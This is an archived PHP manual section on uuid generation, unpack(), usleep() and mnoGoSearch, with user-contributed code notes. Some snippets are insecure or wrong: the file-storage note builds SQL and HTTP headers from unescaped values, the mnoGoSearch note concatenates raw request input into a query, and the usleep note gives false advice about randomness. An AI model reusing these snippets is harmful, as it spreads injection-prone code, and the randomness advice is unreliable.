WARNING : I believe there are a couple of mistakes in the function provided just below by maciej dot strzelecki at gmail dot com. Namely, that in the two substr_replace() calls, the third parameters should respectively be 12 (instead of 11) and 6 (instead of 5).

Considering the importance of this function, I went to read RFC 4122 myself, and found the discrepancy. I therefore chose to write my own function, inspired by the previous one, but with a few enhancements detailed in the comments. On the downside, it might be slightly less easy to understand at first glance.

Please feel free to use it yourself. Thank you also in advance for any feedback at dholmes at cfdsoftware.net .

<?php

/**
 * Generates a Universally Unique IDentifier, version 4.
 *
 * RFC 4122 (http://www.ietf.org/rfc/rfc4122.txt) defines a special type of Globally
 * Unique IDentifiers (GUID), as well as several methods for producing them. One
 * such method, described in section 4.4, is based on truly random or pseudo-random
 * number generators, and is therefore implementable in a language like PHP.
 *
 * We choose to produce pseudo-random numbers with the Mersenne Twister, and to always
 * limit single generated numbers to 16 bits (ie. the decimal value 65535). That is
 * because, even on 32-bit systems, PHP's RAND_MAX will often be the maximum *signed*
 * value, with only the equivalent of 31 significant bits. Producing two 16-bit random
 * numbers to make up a 32-bit one is less efficient, but guarantees that all 32 bits
 * are random.
 *
 * The algorithm for version 4 UUIDs (ie. those based on random number generators)
 * states that all 128 bits separated into the various fields (32 bits, 16 bits, 16 bits,
 * 8 bits and 8 bits, 48 bits) should be random, except : (a) the version number should
 * be the last 4 bits in the 3rd field, and (b) bits 6 and 7 of the 4th field should
 * be 01. We try to conform to that definition as efficiently as possible, generating
 * smaller values where possible, and minimizing the number of base conversions.
 *
 * @copyright  Copyright (c) CFD Labs, 2006. This function may be used freely for
 *              any purpose ; it is distributed without any form of warranty whatsoever.
 * @author      David Holmes <dholmes@cfdsoftware.net>
 *
 * @return  string  A UUID, made up of 32 hex digits and 4 hyphens.
 */

function uuid() {

   // The field names refer to RFC 4122 section 4.1.2

   return sprintf('%04x%04x-%04x-%03x4-%04x-%04x%04x%04x',
       mt_rand(0, 65535), mt_rand(0, 65535), // 32 bits for "time_low"
       mt_rand(0, 65535), // 16 bits for "time_mid"
       mt_rand(0, 4095),  // 12 bits before the 0100 of (version) 4 for "time_hi_and_version"
       bindec(substr_replace(sprintf('%016b', mt_rand(0, 65535)), '01', 6, 2)),
           // 8 bits, the last two of which (positions 6 and 7) are 01, for "clk_seq_hi_res"
           // (hence, the 2nd hex digit after the 3rd hyphen can only be 1, 5, 9 or d)
           // 8 bits for "clk_seq_low"
       mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(0, 65535) // 48 bits for "node"
   );
}

?>
maciej dot strzelecki at gmail dot com
17-Apr-2006 02:09
This is an implementation of version 4 UUID, which is generating UUIDs from truly-random numbers.

<?php
/* Copyright 2006 Maciej Strzelecki

   This program is free software; you can redistribute it and/or modify
   it under the terms of the GNU General Public License as published by
   the Free Software Foundation; either version 2 of the License, or
   (at your option) any later version.

   This program is distributed in the hope that it will be useful,
   but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
   GNU General Public License for more details.

   You should have received a copy of the GNU General Public License
   along with this program; if not, write to the Free Software
   Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA */

function uuid()
{
   // version 4 UUID
   return sprintf(
       '%08x-%04x-%04x-%02x%02x-%012x',
       mt_rand(),
       mt_rand(0, 65535),
       bindec(substr_replace(
           sprintf('%016b', mt_rand(0, 65535)), '0100', 11, 4)
       ),
       bindec(substr_replace(sprintf('%08b', mt_rand(0, 255)), '01', 5, 2)),
       mt_rand(0, 255),
       mt_rand()
   );
}
?>
04-Apr-2006 02:16
if you're generating UUIDs you should really check out http://www.ietf.org/rfc/rfc4122.txt first ('version 4' UUID, chapter 4.4), as they are not completely random.
add a note add a note

后退 | 起点 | 前进
time_sleep_until | 上一级 | unpack


unpack

(PHP 3, PHP 4, PHP 5)

unpack -- Unpack data from binary string

Description

array unpack ( string format, string data )

unpack() from binary string into array according to format. Returns array containing unpacked elements of binary string.

unpack() works slightly different from Perl as the unpacked data is stored in an associative array. To accomplish this you have to name the different format codes and separate them by a slash /.

例子 1. unpack() example

<?php
$array = unpack("c2chars/nint", $binarydata);
?>

The resulting array will contain the entries "chars1", "chars2" and "int".

注意

Note that PHP internally stores integral values as signed. If you unpack a large unsigned long and it is of the same size as PHP internally stored values the result will be a negative number even though unsigned unpacking was specified.

See also pack() for an explanation of the format codes.

add a note add a note User Contributed Notes
Justin dot SpahrSummers at gmail dot com
09-Oct-2005 03:10
I hadn't realized that if the number after the unpack type was 1 (i.e. "V1page"), that it would behave as if there was no number at all. I had been using a variable and didn't think to watch for this. For instance,

<?php

if ($something)
   $get = 2;
else
   $get = 1;

$arr = unpack("V" . $get . "page", $data);

?>

Now if $something was FALSE, then $arr will only have one entry named "page". If $something was TRUE, $arr would have "page1" and "page2".
Cristiano - finatofinato at yahoo dot com dot br
19-Jul-2005 09:31
STORE FILES IN DATABASE SQL_SERVER

After days of research, I obtained a solution to my "big-problem" working with php5/sqlserver/iis

//IN PHP.INI
//Valid range 0 - 2147483647.  Default = 4096.
mssql.textsize = 2147483647

=============<INSERT>==================
$dataString = file_get_contents($_FILES['myfile']['tmp_name']);
$arrData = unpack("H*hex", $dataString);
$ds = "0x".$arrData['hex'];

$sql = "SET TEXTSIZE 2147483647";
mssql_query($sql, $conn);
$sql = " insert into table (myimage, name, extension) values (".$ds.", '".$name."', '".$extension."') ";
mssql_query($sql, $conn);
=============</INSERT>==================

=============<RETRIEVE>==================
$sql = "SET TEXTSIZE 2147483647";
@mssql_query($sql, $conn);
$sql = " select myimage, name, extension from table ";
$rs = @mssql_query($sql, $conn);

header("Content-Disposition: attachment; filename=".$rs['name'].".".$rs['extension']." ");
echo $rs['myfile'];

=============</RETRIEVE>==================

with apache does not work in some cases (work with txt files, but not work with pdf, .doc....), and you will try to do another solution (the solution is more simple than this of sqlserver)
info at dreystone dot com
05-May-2005 02:31
Here is my solution to reading a Big-Endian formatted double on an Little-Endian machine.

<?php

function ToDouble($data) {
   $t = unpack("C*", pack("S*", 256));
   if($t[1] == 1) {
       $a = unpack("d*", $data);
   } else {
       $a = unpack("d*", strrev($data));
   }
   return (double)$a[1];
}

?>
MagicalTux at FF dot st
28-Apr-2005 10:17
tomlove at gmail dot com gave a code to easily unpack a string. Here's a variant :

<?php
$packed = pack("s*", 123);
list($unpacked) = unpack("s*0", $packed);
?>

$unpacked now holds the value 123, not an array.

unpack() will use numeric keys if you give only numbers (probably same check as is_numeric(), but I didn't test). This can be useful in some cases (like for getting directly your data without using arrays).
tomlove at gmail dot com
02-Jan-2005 01:32
If you have one packed item, here's a quick way to get it out of its array when unpacking:

<?
$packed = pack("s*", 123);
list(,$unpacked) = unpack("s*", $packed);
?>

$unpacked now holds the value 123, not an array.
jjfoerch at earthlink dot net
21-Oct-2004 07:57
I had a situation where I had to unpack a file filled with little-endian order double-floats in a way that would work on either little-endian or big-endian machines.  PHP doesn't have a formatting code that will change the byte order of doubles, so I wrote this workaround.

<?php
/*The following code is a workaround for php's unpack function
which does not have the capability of unpacking double precision
floats that were packed in the opposite byte order of the current
machine.
*/
function big_endian_unpack ($format, $data) {
   $ar = unpack ($format, $data);
   $vals = array_values ($ar);
   $f = explode ('/', $format);
   $i = 0;
   foreach ($f as $f_k => $f_v) {
   $repeater = intval (substr ($f_v, 1));
   if ($repeater == 0) $repeater = 1;
   if ($f_v{1} == '*')
   {
       $repeater = count ($ar) - $i;
   }
   if ($f_v{0} != 'd') { $i += $repeater; continue; }
   $j = $i + $repeater;
   for ($a = $i; $a < $j; ++$a)
   {
       $p = pack ('d',$vals[$i]);
       $p = strrev ($p);
       list ($vals[$i]) = array_values (unpack ('d1d', $p));
       ++$i;
   }
   }
   $a = 0;
   foreach ($ar as $ar_k => $ar_v) {
   $ar[$ar_k] = $vals[$a];
   ++$a;
   }
   return $ar;
}

list ($endiantest) = array_values (unpack ('L1L', pack ('V',1)));
if ($endiantest != 1) define ('BIG_ENDIAN_MACHINE',1);
if (defined ('BIG_ENDIAN_MACHINE')) $unpack_workaround = 'big_endian_unpack';
else $unpack_workaround = 'unpack';
?>

This workaround is used like this:

<?php

function foo() {
       global $unpack_workaround;
   $bar = $unpack_workaround('N7N/V2V/d8d',$my_data);
//...
}

?>

On a little endian machine, $unpack_workaround will simply point to the function unpack.  On a big endian machine, it will call the workaround function.

Note, this solution only works for doubles.  In my project I had no need to check for single precision floats.
kennwhite dot nospam at hotmail dot com
29-Aug-2004 03:32
If having a zero-based index is useful/necessary, then instead of:

$int_list = unpack("s*", $some_binary_data);

 try:

$int_list = array_merge(unpack("s*", $some_binary_data));

This will return a 0-based array:

$int_list[0] = x
$int_list[1] = y
$int_list[2] = z
...

rather than the default 1-based array returned from unpack when no key is supplied:

$int_list[1] = x
$int_list[2] = y
$int_list[3] = z
...

It's not used often, but array_merge() with only one parameter will compress a sequentially-ordered numeric-index, starting with an index of [0].
Sergio Santana: ssantana at tlaloc dot imta dot mx
10-Jul-2004 01:54
This is about the last example of my previous post. For the sake of clarity, I'm including again here the example, which expands the one given in the formal documentation:

<?
  $binarydata = "AA\0A";
  $array = unpack("c2chars/nint", $binarydata);
  foreach ($array as $key => $value)
     echo "\$array[$key] = $value <br>\n";
?>

This outputs:

$array[chars1] = 65
$array[chars2] = 65
$array[int] = 65

Here, we assume that the ascii code for character 'A' is decimal 65.

Remebering that the format string structure is:
<format-code> [<count>] [<array-key>] [/ ...],
in this example, the format string instructs the function to
  1. ("c2...") Read two chars from the second argument ("AA ...),
  2. (...chars...) Use the array-keys "chars1", and "chars2" for
     these two chars read,
  3. (.../n...) Read a short int from the second argument (...\0A"),
  4. (...int") Use the word "int" as the array key for the just read
     short.

I hope this is clearer now,

Sergio.
Sergio Santana: ssantana at tlaloc dot imta dot mx
09-Jul-2004 10:41
Suppose we need to get some kind of internal representation of an integer, say 65, as a four-byte long. Then we use, something like:

<?
  $i = 65;
  $s = pack("l", $i); // long 32 bit, machine byte order
  echo strlen($s) . "<br>\n";
  echo "***$s***<br>\n";
?>

The output is:

X-Powered-By: PHP/4.1.2
Content-type: text/html

4
***A***

(That is the string "A\0\0\0")

Now we want to go back from string "A\0\0\0" to number 65. In this case we can use:

<?
  $s = "A\0\0\0"; // This string is the bytes representation of number 65
  $arr = unpack("l", $s);
  foreach ($arr as $key => $value)
     echo "\$arr[$key] = $value<br>\n";
?>

And this outpus:
X-Powered-By: PHP/4.1.2
Content-type: text/html

$arr[] = 65

Let's give the array key a name, say "mykey". In this case, we can use:

<?
  $s = "A\0\0\0"; // This string is the bytes representation of number  65
  $arr = unpack("lmykey", $s);
  foreach ($arr as $key => $value)
     echo "\$arr[$key] = $value\n";
?>

An this outpus:
X-Powered-By: PHP/4.1.2
Content-type: text/html

$arr[mykey] = 65

The "unpack" documentation is a little bit confusing. I think a more complete example could be:

<?
  $binarydata = "AA\0A";
  $array = unpack("c2chars/nint", $binarydata);
  foreach ($array as $key => $value)
   echo "\$array[$key] = $value <br>\n";
?>

whose output is:

X-Powered-By: PHP/4.1.2
Content-type: text/html

$array[chars1] = 65 <br>
$array[chars2] = 65 <br>
$array[int] = 65 <br>

Note that the format string is something like
<format-code> [<count>] [<array-key>] [/ ...]

I hope this clarifies something

Sergio
David Alsbury
25-Apr-2003 05:04
This is the best example I have found to use unpack.  I was finally able to make sense of the documentation afters seeing how they used the function.

http://fooassociates.com/phpfer/html/rn45re878.html

Quick Example:

<?
header("Content-type: text/plain");

/*
N unsigned long (always 32 bit, big endian byte order)
N = 4 bytes
"N2int_var" will read 8 bytes into 2 vars int_var1 and int_var2

binary string A324 = decimal 1,093,874,228
binary string &*12 = decimal 640,299,314

C unsigned char
"Cchar_var" will read 1 byte into char_var

binary string J = decimal 74
*/

$assoc_array = unpack("N2int_var/Cchar_var", "A324&*12J");
echo "int_var1 = ", $assoc_array['int_var1'], "\n";
echo "int_var2 = ", $assoc_array['int_var2'], "\n";
echo "char_var = ", $assoc_array['char_var'], "\n";
?>

Sample Output:
int_var1 = 1093874228
int_var2 = 640299314
char_var = 74
adam at adeptsoftware dot com
17-Jun-2002 12:01
If you just want to extract a dword/long int from a binary string, the following code works beautifully (intel endian):

$Number = ord($Buffer{0}) | (ord($Buffer{1})<<8) | (ord($Buffer{2})<<16) | (ord($Buffer{3})<<24);
DanRichter.at.programmer.dot.net
11-Apr-2001 02:26
If no key name is given [e.g., unpack('C*',$data)], the keys are simply integers starting at 1, and you have a standard array. (I know of no way to get the array to start at zero.)
<P>
If you use multiple types, you must give a key name for all of them (except optionally one), because the key counter is reset with each slash. For example, in unpack('n2/C*',$data), indices 1 and 2 of the returned array are filled by integers ('n'), then overwritten with characters ('C').
iredden at redden dot on dot ca
12-Mar-2000 08:34
function parse_pascalstr($bytes_parsed, $parse_str) {
$parse_info = unpack("x$bytes_parsed/cstr_len", $parse_str);
$str_len = $parse_info["str_len"];
$bytes_parsed = $bytes_parsed + 1;
$parse_info = unpack("x$bytes_parsed/A".$str_len."str", $parse_str);
$str = $parse_info["str"];
$bytes_parsed = $bytes_parsed + strlen($str);

return array($str, $bytes_parsed);
}
add a note add a note

后退 | 起点 | 前进
uniqid | 上一级 | usleep


usleep

(PHP 3, PHP 4, PHP 5)

usleep -- Delay execution in microseconds

Description

void usleep ( int micro_seconds )

The usleep() function delays program execution for the given number of micro_seconds. A microsecond is one millionth of a second.

例子 1. usleep() example

<?php

// Current time
echo date('h:i:s') . "\n";

// wait for 2 secondes
usleep(2000000);

// back!
echo date('h:i:s') . "\n";

?>

This script will output :

11:13:28
11:13:30

注: This function did not work on Windows systems until PHP 5.0.0

See also sleep() and set_time_limit().

add a note add a note User Contributed Notes
gizmo at aoaforums dot com
03-Feb-2006 01:28
It should be noted that Windows machines have a resolution of either 10 mS or 15 mS (depending on the chipset implementation and HAL used) when using the Sleep() function in kernel32.dll.  This means that your average error will be either 5 or 7.5 mS.  This is not ordinarily a problem unless you really NEED to sleep for less time than the granularity provided by Windows.
gmc at serveisw3 dot net
08-Jul-2005 12:11
If you're using Windows then you maybe are in trouble with usleep if you really need to use it.

The Bernie's microdelay function using fsockopen does not work properly, and the fclose doesn't help much.

I don't know if network connections go strange, but I know it does not work since you've made more than 2000 - 3000 calls to it, so it's not a reliable solution in 'long life' php scripts, or these are the issues of the microdelay function in my PHP and PHP-GTK applications.

Though another solution should be found, and googling a bit I fount a WinAPI function: Sleep.

So I get with this snippet wich works fine for me, you get milliseconds precission but the more important, it works for long-run scripts and of course, it does not waste any CPU cycles.

dl('php_w32api.dll');

$GLOBALS['win32api'] =& new win32;

// USleep alternative for Windows and PHP4:
$GLOBALS['win32api']->registerfunction("long Sleep (long dwMillisecods) From kernel32.dll");

// Now you can call the function from everywhere in your script: $GLOBALS['win32api']->Sleep(milliseconds);

for ($msec = 2000; $msec > 0; $msec = $msec - 125) {
  echo "Hi. Next one in $msec msec.\n";
  $GLOBALS['win32api']->Sleep($msec);
}
t0russ at gmail dot com
03-May-2005 11:06
solution to the warning posted by Bertie:
$f=@fsockopen("tcp://localhost",$UNUSED_PORT,$errno,$errstr,$delay);
@fclose($f);
brian dot hollenbeck at gmail dot com
25-Mar-2005 08:28
Just a tip for the folks at home: is you use multiple rand() functions in your code, be sure to put a randomized usleep() in between the rand() codelines, or else your "random" seeds won't be so random on a fast server.

Example:

$string = rand(0, 100);
$string = rand(0, 200);

Instead:

$string = rand(0, 100);
usleep(rand(1000, 10000));
$string1 = rand(0, 100);
Bertie
29-Nov-2003 03:47
A word of warning about the microdelay() code posted that uses the fsockopen - if you use this is a loop that delays for small periods you will very quickly run out of sockets/socket buffer space. And then your network connections go very strange......
grail dot ink at unix dot net
29-Aug-2003 05:06
We have developed an alternative to usleep that should work on any platform and it doesn't eat up any CPU cycles. It's been tested on Windows 2000 w/ Apache. Other platforms should work fine.

function microdelay($delay) {
$UNUSED_PORT=31238; //make sure this port isn't being used on your server
@fsockopen("tcp://localhost",$UNUSED_PORT,$errno,$errstr,$delay);
}

It times out after a specified time in seconds. It uses a double as argument so you can specify decimal arguments.

microdelay(.5); //500ms
microdelay(.25); //250ms
microdelay(2.25); //2250ms

Our small contribution to this great language!

http://www.xencoders.com
jadd0r at mail dot com
09-Apr-2003 01:59
You could do neat things with this like for unix:

<?php
$y=1000000;
for ($x=1; $x<50; $x++) {
echo chr(7);
usleep($y*(pow(0.9,$x)+0.2));
}
?>

then execute
`php -q script.php > /dev/console`

will result in a bombtimer (chr(7) is beep character) :]
busby at edoceo dot com
18-Jan-2003 08:04
Should be noted that functions that loop really fast to create a delay also consume 100% CPU while doing the loop.  Try creating a dummy loop that goes 100000 times, watch it choke your machine.  If you really need usleep() don't use windows.
dsc at c2i dot net
15-Mar-2002 01:55
The usleep() for Windows above doesn't take into account that the value of $stop can be lower than $start. It also contains unnecessary casts and $temp variable. Here is a better function:

function usleepWindows($usec)
{
   $start = gettimeofday();

   do
   {
       $stop = gettimeofday();
       $timePassed = 1000000 * ($stop['sec'] - $start['sec'])
           + $stop['usec'] - $start['usec'];
   }
   while ($timePassed < $usec);
}
dave at techweavers dot net
29-Dec-2000 11:29
To monitor a scripts CPU ussage and avoid any nasty CPU gobbling loops you can use this function (will not work with windows or safe mode) I know it works on FreeBSD:
function phpmon($max)
 {
 $cmd = `ps -Unobody -r -o%cpu`;
 $lines = explode("\n", $cmd);
 $usage = substr($lines[1], 0, strpos($lines[1], "."));
 $sleeprate = 500;
 while ($usage >= $max)
  {
  $cmd = `ps -Unobody -r -o%cpu`;
  $lines = explode("\n", $cmd);
  $usage = substr($lines[1], 0, strpos($lines[1], "."));
  usleep($sleeprate);
  }
 }

phpmon($MAX);

where $MAX is the maximum CPU you want the process to consume. e-mail me with any improvements/suggestions.

I have noticed that this consumes a lot of system CPU (at least in my limited testing) possibly from all of the system calls or the huge mathematical functions I used to test the effectiveness of the script.
add a note add a note

后退 | 起点 | 前进
unpack | 上一级 | mnoGoSearch Functions


mnoGoSearch Functions

PHP 手册
后退 前进

LXXIX. mnoGoSearch Functions

简介

These functions allow you to access the mnoGoSearch (former UdmSearch) free search engine. mnoGoSearch is a full-featured search engine software for intranet and internet servers, distributed under the GNU license. mnoGoSearch has a number of unique features, which makes it appropriate for a wide range of applications from search within your site to a specialized search system such as cooking recipes or newspaper search, FTP archive search, news articles search, etc. It offers full-text indexing and searching for HTML, PDF, and text documents. mnoGoSearch consists of two parts. The first is an indexing mechanism (indexer). The purpose of the indexer is to walk through HTTP, FTP, NEWS servers or local files, recursively grabbing all the documents and storing meta-data about that documents in a SQL database in a smart and effective manner. After every document is referenced by its corresponding URL, meta-data is collected by the indexer for later use in a search process. The search is performed via Web interface. C, CGI, PHP and Perl search front ends are included.

More information about mnoGoSearch can be found at http://www.mnogosearch.org/.

注: 本扩展已被移动到 PECL 库中且自以下版本起不再被绑定到 PHP 中：5.1.0.

注: 本扩展模块在 Windows 平台下不可用。

需求

Download mnoGosearch from http://www.mnogosearch.org/ and install it on your system. You need at least version 3.1.10 of mnoGoSearch installed to use these functions.

安装

In order to have these functions available, you must compile PHP with mnoGosearch support by using the --with-mnogosearchoption. If you use this option without specifying the path to mnoGosearch, PHP will look for mnoGosearch under /usr/local/mnogosearch path by default. If you installed mnoGosearch at a different location you should specify it: --with-mnogosearch=DIR.

注: PHP contains built-in MySQL access library, which can be used to access MySQL. It is known that mnoGoSearch is not compatible with this built-in library and can work only with generic MySQL libraries. Thus, if you use mnoGoSearch with MySQL, during PHP configuration you have to indicate the directory of your MySQL installation, that was used during mnoGoSearch configuration, i.e. for example: --with-mnogosearch --with-mysql=/usr.

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

资源类型

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

UDM_FIELD_URLID (integer)

UDM_FIELD_URL (integer)

UDM_FIELD_CONTENT (integer)

UDM_FIELD_TITLE (integer)

UDM_FIELD_KEYWORDS (integer)

UDM_FIELD_DESC (integer)

UDM_FIELD_DESCRIPTION (integer)

UDM_FIELD_TEXT (integer)

UDM_FIELD_SIZE (integer)

UDM_FIELD_RATING (integer)

UDM_FIELD_SCORE (integer)

UDM_FIELD_MODIFIED (integer)

UDM_FIELD_ORDER (integer)

UDM_FIELD_CRC (integer)

UDM_FIELD_CATEGORY (integer)

UDM_FIELD_LANG (integer)

UDM_FIELD_CHARSET (integer)

UDM_PARAM_PAGE_SIZE (integer)

UDM_PARAM_PAGE_NUM (integer)

UDM_PARAM_SEARCH_MODE (integer)

UDM_PARAM_CACHE_MODE (integer)

UDM_PARAM_TRACK_MODE (integer)

UDM_PARAM_PHRASE_MODE (integer)

UDM_PARAM_CHARSET (integer)

UDM_PARAM_LOCAL_CHARSET (integer)

UDM_PARAM_BROWSER_CHARSET (integer)

UDM_PARAM_STOPTABLE (integer)

UDM_PARAM_STOP_TABLE (integer)

UDM_PARAM_STOPFILE (integer)

UDM_PARAM_STOP_FILE (integer)

UDM_PARAM_WEIGHT_FACTOR (integer)

UDM_PARAM_WORD_MATCH (integer)

UDM_PARAM_MAX_WORD_LEN (integer)

UDM_PARAM_MAX_WORDLEN (integer)

UDM_PARAM_MIN_WORD_LEN (integer)

UDM_PARAM_MIN_WORDLEN (integer)

UDM_PARAM_ISPELL_PREFIXES (integer)

UDM_PARAM_ISPELL_PREFIX (integer)

UDM_PARAM_PREFIXES (integer)

UDM_PARAM_PREFIX (integer)

UDM_PARAM_CROSS_WORDS (integer)

UDM_PARAM_CROSSWORDS (integer)

UDM_PARAM_VARDIR (integer)

UDM_PARAM_DATADIR (integer)

UDM_PARAM_HLBEG (integer)

UDM_PARAM_HLEND (integer)

UDM_PARAM_SYNONYM (integer)

UDM_PARAM_SEARCHD (integer)

UDM_PARAM_QSTRING (integer)

UDM_PARAM_REMOTE_ADDR (integer)

UDM_LIMIT_CAT (integer)

UDM_LIMIT_URL (integer)

UDM_LIMIT_TAG (integer)

UDM_LIMIT_LANG (integer)

UDM_LIMIT_DATE (integer)

UDM_PARAM_FOUND (integer)

UDM_PARAM_NUM_ROWS (integer)

UDM_PARAM_WORDINFO (integer)

UDM_PARAM_WORD_INFO (integer)

UDM_PARAM_SEARCHTIME (integer)

UDM_PARAM_SEARCH_TIME (integer)

UDM_PARAM_FIRST_DOC (integer)

UDM_PARAM_LAST_DOC (integer)

UDM_MODE_ALL (integer)

UDM_MODE_ANY (integer)

UDM_MODE_BOOL (integer)

UDM_MODE_PHRASE (integer)

UDM_CACHE_ENABLED (integer)

UDM_CACHE_DISABLED (integer)

UDM_TRACK_ENABLED (integer)

UDM_TRACK_DISABLED (integer)

UDM_PHRASE_ENABLED (integer)

UDM_PHRASE_DISABLED (integer)

UDM_CROSS_WORDS_ENABLED (integer)

UDM_CROSSWORDS_ENABLED (integer)

UDM_CROSS_WORDS_DISABLED (integer)

UDM_CROSSWORDS_DISABLED (integer)

UDM_PREFIXES_ENABLED (integer)

UDM_PREFIX_ENABLED (integer)

UDM_ISPELL_PREFIXES_ENABLED (integer)

UDM_ISPELL_PREFIX_ENABLED (integer)

UDM_PREFIXES_DISABLED (integer)

UDM_PREFIX_DISABLED (integer)

UDM_ISPELL_PREFIXES_DISABLED (integer)

UDM_ISPELL_PREFIX_DISABLED (integer)

UDM_ISPELL_TYPE_AFFIX (integer)

UDM_ISPELL_TYPE_SPELL (integer)

UDM_ISPELL_TYPE_DB (integer)

UDM_ISPELL_TYPE_SERVER (integer)

UDM_MATCH_WORD (integer)

UDM_MATCH_BEGIN (integer)

UDM_MATCH_SUBSTR (integer)

UDM_MATCH_END (integer)

目录
udm_add_search_limit -- Add various search limits
udm_alloc_agent_array -- Allocate mnoGoSearch session
udm_alloc_agent -- Allocate mnoGoSearch session
udm_api_version -- Get mnoGoSearch API version
udm_cat_list -- Get all the categories on the same level with the current one
udm_cat_path -- Get the path to the current category
udm_check_charset -- Check if the given charset is known to mnogosearch
udm_check_stored -- Check connection to stored
udm_clear_search_limits -- Clear all mnoGoSearch search restrictions
udm_close_stored -- Close connection to stored
udm_crc32 -- Return CRC32 checksum of given string
udm_errno -- Get mnoGoSearch error number
udm_error -- Get mnoGoSearch error message
udm_find -- Perform search
udm_free_agent -- Free mnoGoSearch session
udm_free_ispell_data -- Free memory allocated for ispell data
udm_free_res -- Free mnoGoSearch result
udm_get_doc_count -- Get total number of documents in database
udm_get_res_field -- Fetch mnoGoSearch result field
udm_get_res_param -- Get mnoGoSearch result parameters
udm_hash32 -- Return Hash32 checksum of gived string
udm_load_ispell_data -- Load ispell data
udm_open_stored -- Open connection to stored
udm_set_agent_param -- Set mnoGoSearch agent session parameters

add a note add a note User Contributed Notes
bloodjazman at gmail dot com
22-Jun-2005 08:22
for win32 users, mnogosearch since version 3.2.x
support COM interface

for Reflection API of COM use Visual Studio .NET
-> Tools ..
-> OLE/COM object viewer
- > C:\Program Files\mnoGoSearch\searchcom.dll

simple code

<pre>
<?
define('MNOGOSEARCH_WIN32',
   (strtoupper(substr(PHP_OS,0,3))=='WIN') && extension_loaded('COM'));

if (!MNOGOSEARCH_WIN32)
 die('MnoGoSearch COM not loaded');

/** Create COM object */
$agent = new COM('MnoGoSearch.GoSearch')
                   or die('Can\'t create COM object MnoGoSearch.GoSearch');
com_load_typelib('MnoGoSearch.GoSearch');
//mysql://user:passwd@host:port/database/?mode=multi
$agent->DBAddr = $params['DBAddr'];
//buggy, not work
//$agent->DBMode = $params['DBMode'];
$agent->SetCharset($params['Charset']);
$agent->SetCacheMode(true);

$q = 'q='. $query .'&np='. $_REQUEST['page'] .'&ps='. $_REQUEST['pg_size'] .'&m='. $_REQUEST['match'];
$q .= '&wm='. $_REQUEST['word_match'] .'&ul='. $_REQUEST['url_match']. '&wf='. $_REQUEST['where_find'];
$q .= '&typ='. $_REQUEST['content_type'] .'&s='. $_REQUEST['sortby'].'';

//!!! EXECUTE SEARCH QUERY
$result = $agent->Find($q);

if ($agent->ErrorCode>0 || !$result->Valid)
   die('MnogoSearch win32 COM Error #'.$agent->ErrorCode.' - '.$agent->ErrorDescription);

$last=$result->LastDoc;
$first=$result->FirstDoc;
$hl_begin = '<span class="mnogosearch_hilight">';
$hl_end= '</span>';

$fetched_result=array();
$i=0;

for($row=$first;$row<=$last;$row++) {
   $i=$row-$first;
   $line = $result->Line($row);
   $fetched_result[$i] = array(
       'order'=>$line->Section('Order', $hl_begin, $hl_end),
       'url'=> $line->Section('URL', $hl_begin, $hl_end),
       'relevance'=>$line->Section('Score', $hl_begin, $hl_end),
       'pagerank'=> $line->Section('Pop_Rank', $hl_begin, $hl_end),
       'content_type'=> $line->Section('Content-Type', $hl_begin, $hl_end),
       'content_length'=> $line->Section('Content-Length', $hl_begin, $hl_end),
       'last_time'=> $line->Section('Last-Modified', $hl_begin, $hl_end),
       'title'=> $line->Section('title', $hl_begin, $hl_end),
       'body'=> $line->Section('body', $hl_begin, $hl_end),
       'metadesc'=> $line->Section('meta.description', $hl_begin, $hl_end),
       'metakeywords'=> $line->Section('meta.keywords', $hl_begin, $hl_end)
   );
}

var_dump($fetched_result);

echo '<br/>search time : '.$result->SearchSeconds;
echo '<br/>words stats :'.$result->WordInfo;

echo '<br/>pg_count: '.$result->NPages;
echo '<br/>total_rows: '. $result->Count;
echo '<br/>first_doc: '.$result->FirstDoc;
echo '<br/>last_doc: '.$result->LastDoc;
echo '<br/>rows_in_page: '.$result->RowsOnPage;

?>
</pre>
m at manyone dot net
11-Jul-2002 12:23
I finally got PHP 4.2.1 to compile with mnoGoSearch 3.2.2 ; trick is to build the shared mnoGoSearch and not the static version (opposite from mnoGoSearch defaults), and not to use --disable-rpath in PHP.
brasnah-dev at brasnah dot com
28-Feb-2002 01:32
There is always a collisions for FTP name between PHP releease 4.2.0-dev and mnogosearch 3.2.3. So, first compile mnogosearch with --disable-ftp.
marten dot gustafsson at i_wont_tell_you dot com
13-Jun-2001 03:50
The name collision between php's builtin FTP functions and mnoGo's have been fixed since version 3.1.14 of mnoGoSearch according to;  http://www.mnogosearch.ru/history.html
php-install at lists dot php dot net
25-Apr-2001 06:53
I have found that if you compile php with "--with-ftp and --with-mnogosearch=/dir" you must compile and build mnogosearch with "--disable-ftp" first. There are some naming conflicts between php's ftp libs and mno's ftp libs.

Hope this helps
add a note add a note

后退 | 起点 | 前进
usleep | 上一级 | udm_add_search_limit


udm_add_search_limit

(PHP 4 >= 4.0.5, PHP 5 <= 5.0.4)

udm_add_search_limit -- Add various search limits

Description

bool udm_add_search_limit ( resource agent, int var, string val )

udm_add_search_limit() adds search restrictions. 如果成功则返回 TRUE，失败则返回 FALSE。

agent - a link to Agent, received after call to udm_alloc_agent().

var - defines parameter, indicating limit.

val - defines the value of the current parameter.

Possible var values:

  • UDM_LIMIT_URL - defines document URL limitations to limit the search through subsection of the database. It supports SQL % and _ LIKE wildcards, where % matches any number of characters, even zero characters, and _ matches exactly one character. E.g. http://www.example.___/catalog may stand for http://www.example.com/catalog and http://www.example.net/catalog.

  • UDM_LIMIT_TAG - defines site TAG limitations. In indexer-conf you can assign specific TAGs to various sites and parts of a site. Tags in mnoGoSearch 3.1.x are lines, that may contain metasymbols % and _. Metasymbols allow searching among groups of tags. E.g. there are links with tags ABCD and ABCE, and search restriction is by ABC_ - the search will be made among both of the tags.

  • UDM_LIMIT_LANG - defines document language limitations.

